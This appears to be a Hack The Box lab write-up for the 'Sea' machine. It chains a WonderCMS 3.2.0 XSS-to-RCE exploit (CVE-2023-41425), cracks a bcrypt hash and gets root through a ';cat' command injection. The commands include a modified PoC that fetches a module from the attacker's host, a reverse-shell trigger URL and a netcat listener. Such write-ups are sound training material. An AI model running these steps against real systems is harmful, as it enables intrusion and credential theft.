Sea (HTB)

Platform: Hack The Box
OS: Linux
Difficulty: Easy
Result: root

---

Attack Chain

Reconnaissance
├── nmap -sC -sV -A → 22 (SSH), 80 (Apache 2.4.41 Ubuntu)
└── /etc/hosts: 10.129.2.179 sea.htb

Foothold
├── ffuf → /themes/bike/ → README.md (WonderCMS)
├── /themes/bike/version → 3.2.0
├── CVE-2023-41425 (XSS → RCE via installModule)
├── XSS link via contact.php → admin clicks
└── Reverse shell → www-data@sea

Lateral Movement / Credentials
├── /var/www/sea/data/database.js
│   └── bcrypt hash: $2y$10$iOrk210RQSAzNCx6Vyq2X...
├── hashcat -m 3200 → <PASSWORD>
└── su - amay → user.txt

Privilege Escalation
├── netstat → 127.0.0.1:8080 (monitoring.service as root)
├── SSH tunnel: ssh amay@sea.htb -L 8081:127.0.0.1:8080
├── curl POST / with log_file=...;cat → read root.txt
└── root flag

NOTE

All flags, passwords, hashes, and session tokens have been masked for ethical reasons.

---

Machine Briefing

Landing page of a cycling competition company. The "How to Participate" page contains a contact form. Backend - WonderCMS 3.2.0.

---

Reconnaissance

Port Scan

sudo nmap -sC -sV -A -T5 -Pn 10.129.2.179

Port	Service	Version
22	SSH	OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80	HTTP	Apache httpd 2.4.41 (Ubuntu)

OS: Linux 4.15 - 5.19.

/etc/hosts

echo "10.129.2.179 sea.htb" | sudo tee -a /etc/hosts

---

Foothold

Enumeration

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://sea.htb/FUZZ -c -v

Found directory /themes (301). Further enumeration:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u "http://sea.htb/themes/FUZZ" -c -v

Found /themes/bike/. File enumeration:

ffuf -c -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403

File	Status	Size
README.md	200	318
sym/root/home/	200	3650
version	200	6

CMS and Version Detection

curl http://sea.htb/themes/bike/README.md

# WonderCMS bike theme
## Author: turboblack
## How to use
1. Login to your WonderCMS website.
2. Click "Settings" and click "Themes".

curl http://sea.htb/themes/bike/version

3.2.0

CVE-2023-41425 (NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-41425)

Component: WonderCMS 3.2.0 (theme bike)

The version is vulnerable to CVE-2023-41425 (XSS → RCE via installModule).

Exploit (XSS → RCE)

wget https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip

Modify the PoC: replace the URL with your own web server.

var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.141:8000/main.zip&directoryName=violet&type=themes&token=" + token;

Listener:

nc -lvvp 4444

Launch:

python3 exploit.py http://sea.htb/index.php?page=LoginURL 10.10.14.141 4444

The PoC generates an XSS link that must be sent to the admin via the contact form. After the click:

10.129.76.146 - - [19/Dec/2024 13:41:25] "GET /xss.js HTTP/1.1" 200 -

Note: the first attempt failed due to URL parsing (urlWithoutLogBase = /). Fix - set the base explicitly:

var urlWithoutLogBase = "http://sea.htb";

After restarting the PoC, a shell was obtained as www-data.

Manually activate the rev-shell:

http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.14.24&lport=9001

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

Stabilize shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
stty raw echo; fg
export TERM=xterm

---

Lateral Movement

Apache config

cat /etc/apache2/sites-enabled/sea.conf

DocumentRoot /var/www/sea/

Database

cd /var/www/sea/data
ls
# cache.json  database.js  files
cat database.js

Fragment:

"password": "<BCRYPT_HASH>"

Crack hash

echo '<BCRYPT_HASH>' > hash.txt
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Result: <PASSWORD>.

User flag

cat /etc/passwd | grep sh$
su - amay
cat user.txt
# <USER_FLAG>

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

---

Privilege Escalation

Enumeration of internal ports

netstat -ntlp

tcp  0  0 127.0.0.1:8080  0.0.0.0:*  LISTEN  -

Finding the service configuration

grep -R 8080 /etc 2>/dev/null
cat /etc/systemd/system/monitoring.service

[Service]
User=root
Group=root
ExecStart=/usr/bin/php -S localhost:8080 -t /root/monitoring
WorkingDirectory=/root/monitoring

SSH tunnel

ssh amay@sea.htb -L 8081:127.0.0.1:8080

Exploit - command injection in log_file

curl -X POST http://localhost:8081/ \
  -u amay:<PASSWORD> \
  -d "log_file=/root/root.txt;cat&analyze_log="

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

Result - contents of /root/root.txt.

root flag: <ROOT_FLAG>

---

Flags

Flag	Value
User	<USER_FLAG>
Root	<ROOT_FLAG>

---

Key Takeaways

• WonderCMS 3.2.0 (CVE-2023-41425) - XSS in the login form, followed by installing an arbitrary module via installModule and achieving RCE.
• Vulnerability in the PoC - URL parsing fails for multi-level paths; the base URL must be set explicitly.
• bcrypt hash from database.js - standard hashcat -m 3200, the password was cracked via rockyou.
• Command injection via the log_file parameter - trivial injection of ;cat into a field passed to the shell without escaping.
• Access to an internal service running as root via SSH tunnel - a recurring technique for machines with isolated services on localhost.